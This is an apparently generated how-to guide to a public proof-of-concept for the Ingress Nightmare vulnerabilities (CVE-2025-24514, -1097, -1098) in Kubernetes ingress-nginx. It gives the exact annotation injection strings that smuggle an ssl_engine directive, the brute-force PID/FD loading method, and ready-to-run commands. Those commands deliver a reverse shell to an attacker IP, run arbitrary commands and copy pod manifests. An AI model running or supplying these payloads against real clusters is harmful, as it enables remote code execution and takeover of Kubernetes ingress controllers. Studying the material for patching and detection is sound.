# How CVE-2025-24514, CVE-2025-1097, and CVE-2025-1098 Are Exploited via Ingress Nightmare

> Learn how CVE-2025-24514, CVE-2025-1097, and CVE-2025-1098 are exploited in Ingress Nightmare by injecting malicious NGINX directives for arbitrary code execution via the admission webhook.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: how-to-guide
- Published: 2026-03-01

---

**Ingress Nightmare exploits three critical vulnerabilities in the kubernetes/ingress-nginx controller by injecting malicious NGINX configuration directives through annotations, causing the admission webhook to load attacker-controlled shared objects via the `ssl_engine` directive during configuration validation.**

The **esonhugh/ingressnightmare-cve-2025-1974-exps** repository implements a complete proof-of-concept that demonstrates how CVE-2025-24514, CVE-2025-1097, and CVE-2025-1098 enable remote code execution inside NGINX ingress controller pods. This analysis examines the source code to reveal the unified exploitation pipeline shared by all three vulnerabilities.

## The Unified Exploitation Pipeline

All three CVEs leverage an identical three-stage attack chain that abuses the ingress-nginx admission controller’s configuration validation process. According to the repository source code, the exploitation flow works as follows:

1. **Upload a malicious shared object** (`danger.so`) to the NGINX pod via the ingress-nginx "upload" endpoint
2. **Inject a malicious annotation** containing an `ssl_engine` directive into an AdmissionReview request
3. **Trigger NGINX configuration validation** (`nginx -t`) which loads the shared object as an SSL engine and executes the payload

The specific vulnerability being exploited depends on which annotation carries the malicious payload, controlled via mutually exclusive CLI flags in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go)【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/main.go#L87-L93】.

## Step-by-Step Technical Breakdown

### Step 1: Malicious Shared Object Upload

The exploit begins by uploading a compiled ELF library to the target pod. In [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go), the `BadUploader()` and `UploadThread()` functions handle this delivery【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L52-L85】.

The payload is embedded in the binary at compile time via [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go) → `DefaultEvilLibrary()`, which contains a byte slice of the compiled `danger.so` library【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L27-L33】. This shared object, compiled from [`danger.c`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/danger.c), writes **"Code Injected!"** to NGINX stderr when loaded.

### Step 2: AdmissionReview Template Injection

The tool renders a malicious AdmissionReview JSON payload using `RenderValidateJSON()` in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go)【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L39-L50】. This function processes the [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json) template, which contains three distinct injection points corresponding to each CVE:

- **CVE-2025-24514**: `auth-url: "http://example.com/#;}}}\n\nssl_engine foobar;\n\n"`【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/validate.json#L46-L48】
- **CVE-2025-1097**: `auth-tls-match-cn: "CN=abc #(\n){}\n }}\nssl_engine foobar;\n#"`【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/validate.json#L44-L46】
- **CVE-2025-1098**: `uid": "InjectTest#;\n\n}\n}\n}\nssl_engine foobar",` combined with `"mirror-target": "fake-mirror-target"`【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/validate.json#L38-L44】

The template replaces the `foobar` placeholder with a path traversal string pointing to the uploaded file descriptor (`../../../../../../proc/<pid>/fd/<fd>`) or a specific filesystem path.

### Step 3: Brute-Force PID/FD Discovery and Code Execution

The `ValidateWebHook()` function implements a brute-force loop over plausible PID ranges (default 5-40) and file descriptor ranges (default 3-26)【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L59-L84】. When the admission controller executes `nginx -t` to validate the injected configuration, the `ssl_engine` directive references the uploaded shared object, causing NGINX to load and execute the attacker's code inside the controller pod.

Detection logic in `ValidateWebhookSpecificFilePath()` confirms success by searching for the **"Code Injected!"** string in the AdmissionReview response【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L104-L124】.

## CVE-Specific Attack Vectors

### CVE-2025-24514: auth-url Annotation Injection

This vulnerability abuses the `nginx.ingress.kubernetes.io/auth-url` annotation. When the `--is-auth-url` flag is set (enabled by default), the tool injects the `ssl_engine` directive into the auth-url template variable. The ingress-nginx controller processes this annotation during admission validation, triggering the shared object load when parsing the authentication URL configuration.

### CVE-2025-1097: auth-tls-match-cn Annotation Injection

Activated by the `--is-match-cn` flag, this vector targets the `nginx.ingress.kubernetes.io/auth-tls-match-cn` annotation. The exploit crafts a Common Name string containing newlines and closing braces to break out of the NGINX configuration template context, injecting the `ssl_engine` directive that references the uploaded payload.

### CVE-2025-1098: mirror-target and uid Field Injection

Enabled via `--is-mirror-with-uid`, this method targets the mirroring functionality. The attack requires both a `mirror-target` annotation and a malicious `uid` field containing the `ssl_engine` injection. The ingress-nginx mirror module parses the uid parameter, allowing the attacker to smuggle the configuration directive through a field typically used for request identification.

## Payload Generation and Modes

The [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go) file provides three payload constructors that modify the embedded `danger.so` library at runtime:

- **Reverse shell**: `NewReverseShellPayload()` replaces placeholders with attacker IP and port【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L46-L71】
- **Bind shell**: `NewBindShellPayload()` configures a listening port inside the compromised pod【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L74-L90】
- **Command execution**: `NewCommandPayload()` executes arbitrary shell commands【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L92-L101】

The [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) switch statement routes the selected mode to the appropriate payload generator【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/main.go#L11-L24】.

## Practical Exploitation Examples

### Exploiting CVE-2025-24514 (Default auth-url method)

```bash
./ingressnightmare \
    -m r \
    -r 10.20.30.40 \
    -p 4444 \
    -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
    -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80

```

This command uses the default `--is-auth-url` flag to inject via the auth-url annotation, delivering a reverse shell to 10.20.30.40:4444.

### Exploiting CVE-2025-1097 (auth-tls-match-cn)

```bash
./ingressnightmare \
    -m c -c "id > /tmp/pwned" \
    -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
    -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
    --is-match-cn \
    --auth-secret-name kube-system/cilium-ca

```

The `--is-match-cn` flag switches the injection target to the auth-tls-match-cn annotation, requiring a valid TLS secret reference via `--auth-secret-name`.

### Exploiting CVE-2025-1098 (mirror-uid)

```bash
./ingressnightmare \
    -m c -c "cat /etc/kubernetes/pods > /tmp/pods" \
    -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
    -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
    --is-mirror-with-uid

```

The `--is-mirror-with-uid` flag enables the mirror-target and uid injection vector for environments where the other annotations may be restricted.

### Dry-Run Mode for Payload Verification

```bash
./ingressnightmare -m c -c "id" \
    -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
    -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
    --dry-run

```

Use `--dry-run` to inspect the rendered AdmissionReview JSON without executing the attack, verifying the `foobar` placeholder replacement.

## Summary

- **Ingress Nightmare** chains three annotation-based injection vulnerabilities (CVE-2025-24514, CVE-2025-1097, CVE-2025-1098) to achieve RCE in ingress-nginx controllers
- All exploits follow the same pipeline: upload `danger.so` via `BadUploader()`, inject via `RenderValidateJSON()`, and trigger via `ValidateWebHook()`
- The `ssl_engine` directive in malicious annotations forces NGINX to load the attacker-controlled shared object during `nginx -t` validation
- CVE-specific flags (`--is-auth-url`, `--is-match-cn`, `--is-mirror-with-uid`) select the vulnerable annotation target in [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json)
- Payload types (reverse shell, bind shell, command) are generated by functions in [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go) and embedded into the exploit binary

## Frequently Asked Questions

### How does the ingress-nginx admission controller validate Ingress resources?

The admission controller receives AdmissionReview requests from the Kubernetes API server and validates them by running `nginx -t` against a temporary configuration file generated from the Ingress resource. According to the source code in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go), this validation process parses all annotations, including `auth-url`, `auth-tls-match-cn`, and mirror-related fields, which allows the `ssl_engine` directive injection to be processed.

### What is the purpose of the `foobar` placeholder in the exploit?

The `foobar` placeholder in [`nginx-ingress/validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/validate.json) serves as a template variable that gets dynamically replaced by `RenderValidateJSON()` with a path traversal string pointing to the uploaded shared object. This placeholder is replaced with strings like `../../../../../../proc/<pid>/fd/<fd>` to reference the file descriptor of the uploaded `danger.so` payload without knowing the absolute filesystem path in advance.

### Can the exploit work without knowing the specific PID or file descriptor?

Yes, the implementation in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) includes a brute-force mechanism that iterates through a range of probable process IDs (5-40) and file descriptors (3-26). The `UploadThread()` maintains the uploaded file open while `ValidateWebHook()` concurrently tests combinations until the "Code Injected!" confirmation appears, indicating the correct PID/FD combination was found and the payload executed.

### What distinguishes the three CVEs if they use the same exploitation technique?

While all three CVEs share the same `ssl_engine` injection mechanism, they target distinct annotation parsing code paths within ingress-nginx. **CVE-2025-24514** abuses the authentication URL annotation, **CVE-2025-1097** targets the TLS client certificate Common Name matching, and **CVE-2025-1098** exploits the request mirroring UID field. Each requires a different annotation structure and context to reach the vulnerable NGINX configuration template, as reflected in the three distinct template sections of [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json).